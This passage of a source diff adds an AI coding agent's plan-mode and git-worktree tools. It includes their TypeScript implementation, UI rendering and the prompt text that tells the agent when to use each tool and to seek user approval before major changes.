XQsXG4gIF9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPFRvb2xQcm9ncmVzc0RhdGE+W10sXG4gIF9vcHRpb25zOiB7IHRoZW1lOiBUaGVtZU5hbWUgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdwbGFuJyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgICA8VGV4dD4gRW50ZXJlZCBwbGFuIG1vZGU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBDbGF1ZGUgaXMgbm93IGV4cGxvcmluZyBhbmQgZGVzaWduaW5nIGFuIGltcGxlbWVudGF0aW9uIGFwcHJvYWNoLlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiIG1hcmdpblRvcD17MX0+XG4gICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdkZWZhdWx0Jyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgPFRleHQ+IFVzZXIgZGVjbGluZWQgdG8gZW50ZXIgcGxhbiBtb2RlPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsWUFBWSxRQUFRLDBCQUEwQjtBQUN2RCxTQUFTQyxZQUFZLFFBQVEseUNBQXlDO0FBQ3RFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVULEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQ3RELE9BQU8sSUFBSTtBQUNiO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxPQUFPLEVBQUVKLE1BQU0sRUFDZkssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRVAsS0FBSyxDQUFDVSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUM3QyxNQUFNLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxLQUFLO0FBQzlCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNSLFlBQVksQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUNELFlBQVksQ0FBQyxFQUFFLElBQUk7QUFDL0QsUUFBUSxDQUFDLElBQUksQ0FBQyxrQkFBa0IsRUFBRSxJQUFJO0FBQ3RDLE1BQU0sRUFBRSxHQUFHO0FBQ1gsTUFBTSxDQUFDLEdBQUcsQ0FBQyxXQUFXLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUIsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ3RCO0FBQ0EsUUFBUSxFQUFFLElBQUk7QUFDZCxNQUFNLEVBQUUsR0FBRztBQUNYLElBQUksRUFBRSxHQUFHLENBQUM7QUFFVjtBQUVBLE9BQU8sU0FBU2UsNEJBQTRCQSxDQUFBLENBQUUsRUFBRWhCLEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQzlELE9BQ0UsQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUMsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ1IsWUFBWSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQ0QsWUFBWSxDQUFDLEVBQUUsSUFBSTtBQUNoRSxNQUFNLENBQUMsSUFBSSxDQUFDLGlDQUFpQyxFQUFFLElBQUk7QUFDbkQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119

src/tools/EnterPlanModeTool/constants.ts

@@ -0,0 +1 @@
+export const ENTER_PLAN_MODE_TOOL_NAME = 'EnterPlanMode'

src/tools/EnterPlanModeTool/prompt.ts

@@ -0,0 +1,170 @@
+import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
+import { ASK_USER_QUESTION_TOOL_NAME } from '../AskUserQuestionTool/prompt.js'
+
+const WHAT_HAPPENS_SECTION = `## What Happens in Plan Mode
+
+In plan mode, you'll:
+1. Thoroughly explore the codebase using Glob, Grep, and Read tools
+2. Understand existing patterns and architecture
+3. Design an implementation approach
+4. Present your plan to the user for approval
+5. Use ${ASK_USER_QUESTION_TOOL_NAME} if you need to clarify approaches
+6. Exit plan mode with ExitPlanMode when ready to implement
+
+`
+
+function getEnterPlanModeToolPromptExternal(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+**Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply:
+
+1. **New Feature Implementation**: Adding meaningful new functionality
+   - Example: "Add a logout button" - where should it go? What should happen on click?
+   - Example: "Add form validation" - what rules? What error messages?
+
+2. **Multiple Valid Approaches**: The task can be solved in several different ways
+   - Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc.
+   - Example: "Improve performance" - many optimization strategies possible
+
+3. **Code Modifications**: Changes that affect existing behavior or structure
+   - Example: "Update the login flow" - what exactly should change?
+   - Example: "Refactor this component" - what's the target architecture?
+
+4. **Architectural Decisions**: The task requires choosing between patterns or technologies
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+   - Example: "Implement state management" - Redux vs Context vs custom solution
+
+5. **Multi-File Changes**: The task will likely touch more than 2-3 files
+   - Example: "Refactor the authentication system"
+   - Example: "Add a new API endpoint with tests"
+
+6. **Unclear Requirements**: You need to explore before understanding the full scope
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Fix the bug in checkout" - need to investigate root cause
+
+7. **User Preferences Matter**: The implementation could reasonably go multiple ways
+   - If you would use ${ASK_USER_QUESTION_TOOL_NAME} to clarify the approach, use EnterPlanMode instead
+   - Plan mode lets you explore first, then present options with context
+
+## When NOT to Use This Tool
+
+Only skip EnterPlanMode for simple tasks:
+- Single-line or few-line fixes (typos, obvious bugs, small tweaks)
+- Adding a single function with clear requirements
+- Tasks where the user has given very specific, detailed instructions
+- Pure research/exploration tasks (use the Agent tool with explore agent instead)
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Requires architectural decisions (session vs JWT, where to store tokens, middleware structure)
+
+User: "Optimize the database queries"
+- Multiple approaches possible, need to profile first, significant impact
+
+User: "Implement dark mode"
+- Architectural decision on theme system, affects many components
+
+User: "Add a delete button to the user profile"
+- Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates
+
+User: "Update the error handling in the API"
+- Affects multiple files, user should approve the approach
+
+### BAD - Don't use EnterPlanMode:
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+User: "Add a console.log to debug this function"
+- Simple, obvious implementation
+
+User: "What files handle routing?"
+- Research task, not implementation planning
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+- If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work
+- Users appreciate being consulted before significant changes are made to their codebase
+`
+}
+
+function getEnterPlanModeToolPromptAnt(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+Plan mode is valuable when the implementation approach is genuinely unclear. Use it when:
+
+1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase
+   - Example: "Add caching to the API" - Redis vs in-memory vs file-based
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+
+2. **Unclear Requirements**: You need to explore and clarify before you can make progress
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Refactor this module" - need to understand what the target architecture should be
+
+3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk
+   - Example: "Redesign the authentication system"
+   - Example: "Migrate from one state management approach to another"
+
+## When NOT to Use This Tool
+
+Skip plan mode when you can reasonably infer the right approach:
+- The task is straightforward even if it touches multiple files
+- The user's request is specific enough that the implementation path is clear
+- You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions)
+- Bug fixes where the fix is clear once you understand the bug
+- Research/exploration tasks (use the Agent tool instead)
+- The user says something like "can we work on X" or "let's do X" — just get started
+
+When in doubt, prefer starting work and using ${ASK_USER_QUESTION_TOOL_NAME} for specific questions over entering a full planning phase.
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure
+
+User: "Redesign the data pipeline"
+- Major restructuring where the wrong approach wastes significant effort
+
+### BAD - Don't use EnterPlanMode:
+User: "Add a delete button to the user profile"
+- Implementation path is clear; just do it
+
+User: "Can we work on the search feature?"
+- User wants to get started, not plan
+
+User: "Update the error handling in the API"
+- Start working; ask specific questions if needed
+
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+`
+}
+
+export function getEnterPlanModeToolPrompt(): string {
+  return process.env.USER_TYPE === 'ant'
+    ? getEnterPlanModeToolPromptAnt()
+    : getEnterPlanModeToolPromptExternal()
+}

src/tools/EnterWorktreeTool/EnterWorktreeTool.ts

@@ -0,0 +1,127 @@
+import { z } from 'zod/v4'
+import { getSessionId, setOriginalCwd } from '../../bootstrap/state.js'
+import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { clearMemoryFileCaches } from '../../utils/claudemd.js'
+import { getCwd } from '../../utils/cwd.js'
+import { findCanonicalGitRoot } from '../../utils/git.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { getPlanSlug, getPlansDirectory } from '../../utils/plans.js'
+import { setCwd } from '../../utils/Shell.js'
+import { saveWorktreeState } from '../../utils/sessionStorage.js'
+import {
+  createWorktreeForSession,
+  getCurrentWorktreeSession,
+  validateWorktreeSlug,
+} from '../../utils/worktree.js'
+import { ENTER_WORKTREE_TOOL_NAME } from './constants.js'
+import { getEnterWorktreeToolPrompt } from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    name: z
+      .string()
+      .superRefine((s, ctx) => {
+        try {
+          validateWorktreeSlug(s)
+        } catch (e) {
+          ctx.addIssue({ code: 'custom', message: (e as Error).message })
+        }
+      })
+      .optional()
+      .describe(
+        'Optional name for the worktree. Each "/"-separated segment may contain only letters, digits, dots, underscores, and dashes; max 64 chars total. A random name is generated if not provided.',
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    worktreePath: z.string(),
+    worktreeBranch: z.string().optional(),
+    message: z.string(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+export const EnterWorktreeTool: Tool<InputSchema, Output> = buildTool({
+  name: ENTER_WORKTREE_TOOL_NAME,
+  searchHint: 'create an isolated git worktree and switch into it',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Creates an isolated worktree (via git or configured hooks) and switches the session into it'
+  },
+  async prompt() {
+    return getEnterWorktreeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Creating worktree'
+  },
+  shouldDefer: true,
+  toAutoClassifierInput(input) {
+    return input.name ?? ''
+  },
+  renderToolUseMessage,
+  renderToolResultMessage,
+  async call(input) {
+    // Validate not already in a worktree created by this session
+    if (getCurrentWorktreeSession()) {
+      throw new Error('Already in a worktree session')
+    }
+
+    // Resolve to main repo root so worktree creation works from within a worktree
+    const mainRepoRoot = findCanonicalGitRoot(getCwd())
+    if (mainRepoRoot && mainRepoRoot !== getCwd()) {
+      process.chdir(mainRepoRoot)
+      setCwd(mainRepoRoot)
+    }
+
+    const slug = input.name ?? getPlanSlug()
+
+    const worktreeSession = await createWorktreeForSession(getSessionId(), slug)
+
+    process.chdir(worktreeSession.worktreePath)
+    setCwd(worktreeSession.worktreePath)
+    setOriginalCwd(getCwd())
+    saveWorktreeState(worktreeSession)
+    // Clear cached system prompt sections so env_info_simple recomputes with worktree context
+    clearSystemPromptSections()
+    // Clear memoized caches that depend on CWD
+    clearMemoryFileCaches()
+    getPlansDirectory.cache.clear?.()
+
+    logEvent('tengu_worktree_created', {
+      mid_session: true,
+    })
+
+    const branchInfo = worktreeSession.worktreeBranch
+      ? ` on branch ${worktreeSession.worktreeBranch}`
+      : ''
+
+    return {
+      data: {
+        worktreePath: worktreeSession.worktreePath,
+        worktreeBranch: worktreeSession.worktreeBranch,
+        message: `Created worktree at ${worktreeSession.worktreePath}${branchInfo}. The session is now working in the worktree. Use ExitWorktree to leave mid-session, or exit the session to be prompted.`,
+      },
+    }
+  },
+  mapToolResultToToolResultBlockParam({ message }, toolUseID) {
+    return {
+      type: 'tool_result',
+      content: message,
+      tool_use_id: toolUseID,
+    }
+  },
+} satisfies ToolDef<InputSchema, Output>)

src/tools/EnterWorktreeTool/UI.tsx

@@ -0,0 +1,20 @@
+import * as React from 'react';
+import { Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { ThemeName } from '../../utils/theme.js';
+import type { Output } from './EnterWorktreeTool.js';
+export function renderToolUseMessage(): React.ReactNode {
+  return 'Creating worktree…';
+}
+export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
+  theme: ThemeName;
+}): React.ReactNode {
+  return <Box flexDirection="column">
+      <Text>
+        Switched to worktree on branch <Text bold>{output.worktreeBranch}</Text>
+      </Text>
+      <Text dimColor>{output.worktreePath}</Text>
+    </Box>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJ3b3JrdHJlZUJyYW5jaCIsIndvcmt0cmVlUGF0aCJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUgeyBPdXRwdXQgfSBmcm9tICcuL0VudGVyV29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdDcmVhdGluZyB3b3JrdHJlZeKApidcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHJlbmRlclRvb2xSZXN1bHRNZXNzYWdlKFxuICBvdXRwdXQ6IE91dHB1dCxcbiAgX3Byb2dyZXNzTWVzc2FnZXNGb3JNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8VG9vbFByb2dyZXNzRGF0YT5bXSxcbiAgX29wdGlvbnM6IHsgdGhlbWU6IFRoZW1lTmFtZSB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxUZXh0PlxuICAgICAgICBTd2l0Y2hlZCB0byB3b3JrdHJlZSBvbiBicmFuY2ggPFRleHQgYm9sZD57b3V0cHV0Lndvcmt0cmVlQnJhbmNofTwvVGV4dD5cbiAgICAgIDwvVGV4dD5cbiAgICAgIDxUZXh0IGRpbUNvbG9yPntvdXRwdXQud29ya3RyZWVQYXRofTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sb0JBQW9CO0FBQzdCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUTtBQUMvQixNQUFNLENBQUMsSUFBSTtBQUNYLHVDQUF1QyxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0UsTUFBTSxDQUFDSSxjQUFjLENBQUMsRUFBRSxJQUFJO0FBQy9FLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0osTUFBTSxDQUFDSyxZQUFZLENBQUMsRUFBRSxJQUFJO0FBQ2hELElBQUksRUFBRSxHQUFHLENBQUM7QUFFViIsImlnbm9yZUxpc3QiOltdfQ==

src/tools/EnterWorktreeTool/constants.ts

@@ -0,0 +1 @@
+export const ENTER_WORKTREE_TOOL_NAME = 'EnterWorktree'

src/tools/EnterWorktreeTool/prompt.ts

@@ -0,0 +1,30 @@
+export function getEnterWorktreeToolPrompt(): string {
+  return `Use this tool ONLY when the user explicitly asks to work in a worktree. This tool creates an isolated git worktree and switches the current session into it.
+
+## When to Use
+
+- The user explicitly says "worktree" (e.g., "start a worktree", "work in a worktree", "create a worktree", "use a worktree")
+
+## When NOT to Use
+
+- The user asks to create a branch, switch branches, or work on a different branch — use git commands instead
+- The user asks to fix a bug or work on a feature — use normal git workflow unless they specifically mention worktrees
+- Never use this tool unless the user explicitly mentions "worktree"
+
+## Requirements
+
+- Must be in a git repository, OR have WorktreeCreate/WorktreeRemove hooks configured in settings.json
+- Must not already be in a worktree
+
+## Behavior
+
+- In a git repository: creates a new git worktree inside \`.claude/worktrees/\` with a new branch based on HEAD
+- Outside a git repository: delegates to WorktreeCreate/WorktreeRemove hooks for VCS-agnostic isolation
+- Switches the session's working directory to the new worktree
+- Use ExitWorktree to leave the worktree mid-session (keep or remove). On session exit, if still in the worktree, the user will be prompted to keep or remove it
+
+## Parameters
+
+- \`name\` (optional): A name for the worktree. If not provided, a random name is generated.
+`
+}

src/tools/ExitPlanModeTool/constants.ts

@@ -0,0 +1,2 @@
+export const EXIT_PLAN_MODE_TOOL_NAME = 'ExitPlanMode'
+export const EXIT_PLAN_MODE_V2_TOOL_NAME = 'ExitPlanMode'

src/tools/ExitPlanModeTool/prompt.ts

@@ -0,0 +1,29 @@
+// External stub for ExitPlanModeTool prompt - excludes Ant-only allowedPrompts section
+
+// Hardcoded to avoid relative import issues in stub
+const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
+
+export const EXIT_PLAN_MODE_V2_TOOL_PROMPT = `Use this tool when you are in plan mode and have finished writing your plan to the plan file and are ready for user approval.
+
+## How This Tool Works
+- You should have already written your plan to the plan file specified in the plan mode system message
+- This tool does NOT take the plan content as a parameter - it will read the plan from the file you wrote
+- This tool simply signals that you're done planning and ready for the user to review and approve
+- The user will see the contents of your plan file when they review it
+
+## When to Use This Tool
+IMPORTANT: Only use this tool when the task requires planning the implementation steps of a task that requires writing code. For research tasks where you're gathering information, searching files, reading files or in general trying to understand the codebase - do NOT use this tool.
+
+## Before Using This Tool
+Ensure your plan is complete and unambiguous:
+- If you have unresolved questions about requirements or approach, use ${ASK_USER_QUESTION_TOOL_NAME} first (in earlier phases)
+- Once your plan is finalized, use THIS tool to request approval
+
+**Important:** Do NOT use ${ASK_USER_QUESTION_TOOL_NAME} to ask "Is this plan okay?" or "Should I proceed?" - that's exactly what THIS tool does. ExitPlanMode inherently requests user approval of your plan.
+
+## Examples
+
+1. Initial task: "Search for and understand the implementation of vim mode in the codebase" - Do not use the exit plan mode tool because you are not planning the implementation steps of a task.
+2. Initial task: "Help me implement yank mode for vim" - Use the exit plan mode tool after you have finished planning the implementation steps of the task.
+3. Initial task: "Add a new feature to handle user authentication" - If unsure about auth method (OAuth, JWT, etc.), use ${ASK_USER_QUESTION_TOOL_NAME} first, then use exit plan mode tool after clarifying the approach.
+`

src/tools/ExitWorktreeTool/ExitWorktreeTool.ts

@@ -0,0 +1,329 @@
+import { z } from 'zod/v4'
+import {
+  getOriginalCwd,
+  getProjectRoot,
+  setOriginalCwd,
+  setProjectRoot,
+} from '../../bootstrap/state.js'
+import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
+import { logEvent } from '../../services/analytics/index.js'
+import type { Tool } from '../../Tool.js'
+import { buildTool, type ToolDef } from '../../Tool.js'
+import { count } from '../../utils/array.js'
+import { clearMemoryFileCaches } from '../../utils/claudemd.js'
+import { execFileNoThrow } from '../../utils/execFileNoThrow.js'
+import { updateHooksConfigSnapshot } from '../../utils/hooks/hooksConfigSnapshot.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { getPlansDirectory } from '../../utils/plans.js'
+import { setCwd } from '../../utils/Shell.js'
+import { saveWorktreeState } from '../../utils/sessionStorage.js'
+import {
+  cleanupWorktree,
+  getCurrentWorktreeSession,
+  keepWorktree,
+  killTmuxSession,
+} from '../../utils/worktree.js'
+import { EXIT_WORKTREE_TOOL_NAME } from './constants.js'
+import { getExitWorktreeToolPrompt } from './prompt.js'
+import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
+
+const inputSchema = lazySchema(() =>
+  z.strictObject({
+    action: z
+      .enum(['keep', 'remove'])
+      .describe(
+        '"keep" leaves the worktree and branch on disk; "remove" deletes both.',
+      ),
+    discard_changes: z
+      .boolean()
+      .optional()
+      .describe(
+        'Required true when action is "remove" and the worktree has uncommitted files or unmerged commits. The tool will refuse and list them otherwise.',
+      ),
+  }),
+)
+type InputSchema = ReturnType<typeof inputSchema>
+
+const outputSchema = lazySchema(() =>
+  z.object({
+    action: z.enum(['keep', 'remove']),
+    originalCwd: z.string(),
+    worktreePath: z.string(),
+    worktreeBranch: z.string().optional(),
+    tmuxSessionName: z.string().optional(),
+    discardedFiles: z.number().optional(),
+    discardedCommits: z.number().optional(),
+    message: z.string(),
+  }),
+)
+type OutputSchema = ReturnType<typeof outputSchema>
+export type Output = z.infer<OutputSchema>
+
+type ChangeSummary = {
+  changedFiles: number
+  commits: number
+}
+
+/**
+ * Returns null when state cannot be reliably determined — callers that use
+ * this as a safety gate must treat null as "unknown, assume unsafe"
+ * (fail-closed). A silent 0/0 would let cleanupWorktree destroy real work.
+ *
+ * Null is returned when:
+ * - git status or rev-list exit non-zero (lock file, corrupt index, bad ref)
+ * - originalHeadCommit is undefined but git status succeeded — this is the
+ *   hook-based-worktree-wrapping-git case (worktree.ts:525-532 doesn't set
+ *   originalHeadCommit). We can see the working tree is git, but cannot count
+ *   commits without a baseline, so we cannot prove the branch is clean.
+ */
+async function countWorktreeChanges(
+  worktreePath: string,
+  originalHeadCommit: string | undefined,
+): Promise<ChangeSummary | null> {
+  const status = await execFileNoThrow('git', [
+    '-C',
+    worktreePath,
+    'status',
+    '--porcelain',
+  ])
+  if (status.code !== 0) {
+    return null
+  }
+  const changedFiles = count(status.stdout.split('\n'), l => l.trim() !== '')
+
+  if (!originalHeadCommit) {
+    // git status succeeded → this is a git repo, but without a baseline
+    // commit we cannot count commits. Fail-closed rather than claim 0.
+    return null
+  }
+
+  const revList = await execFileNoThrow('git', [
+    '-C',
+    worktreePath,
+    'rev-list',
+    '--count',
+    `${originalHeadCommit}..HEAD`,
+  ])
+  if (revList.code !== 0) {
+    return null
+  }
+  const commits = parseInt(revList.stdout.trim(), 10) || 0
+
+  return { changedFiles, commits }
+}
+
+/**
+ * Restore session state to reflect the original directory.
+ * This is the inverse of the session-level mutations in EnterWorktreeTool.call().
+ *
+ * keepWorktree()/cleanupWorktree() handle process.chdir and currentWorktreeSession;
+ * this handles everything above the worktree utility layer.
+ */
+function restoreSessionToOriginalCwd(
+  originalCwd: string,
+  projectRootIsWorktree: boolean,
+): void {
+  setCwd(originalCwd)
+  // EnterWorktree sets originalCwd to the *worktree* path (intentional — see
+  // state.ts getProjectRoot comment). Reset to the real original.
+  setOriginalCwd(originalCwd)
+  // --worktree startup sets projectRoot to the worktree; mid-session
+  // EnterWorktreeTool does not. Only restore when it was actually changed —
+  // otherwise we'd move projectRoot to wherever the user had cd'd before
+  // entering the worktree (session.originalCwd), breaking the "stable project
+  // identity" contract.
+  if (projectRootIsWorktree) {
+    setProjectRoot(originalCwd)
+    // setup.ts's --worktree block called updateHooksConfigSnapshot() to re-read
+    // hooks from the worktree. Restore symmetrically. (Mid-session
+    // EnterWorktreeTool never touched the snapshot, so no-op there.)
+    updateHooksConfigSnapshot()
+  }
+  saveWorktreeState(null)
+  clearSystemPromptSections()
+  clearMemoryFileCaches()
+  getPlansDirectory.cache.clear?.()
+}
+
+export const ExitWorktreeTool: Tool<InputSchema, Output> = buildTool({
+  name: EXIT_WORKTREE_TOOL_NAME,
+  searchHint: 'exit a worktree session and return to the original directory',
+  maxResultSizeChars: 100_000,
+  async description() {
+    return 'Exits a worktree session created by EnterWorktree and restores the original working directory'
+  },
+  async prompt() {
+    return getExitWorktreeToolPrompt()
+  },
+  get inputSchema(): InputSchema {
+    return inputSchema()
+  },
+  get outputSchema(): OutputSchema {
+    return outputSchema()
+  },
+  userFacingName() {
+    return 'Exiting worktree'
+  },
+  shouldDefer: true,
+  isDestructive(input) {
+    return input.action === 'remove'
+  },
+  toAutoClassifierInput(input) {
+    return input.action
+  },
+  async validateInput(input) {
+    // Scope guard: getCurrentWorktreeSession() is null unless EnterWorktree
+    // (specifically createWorktreeForSession) ran in THIS session. Worktrees
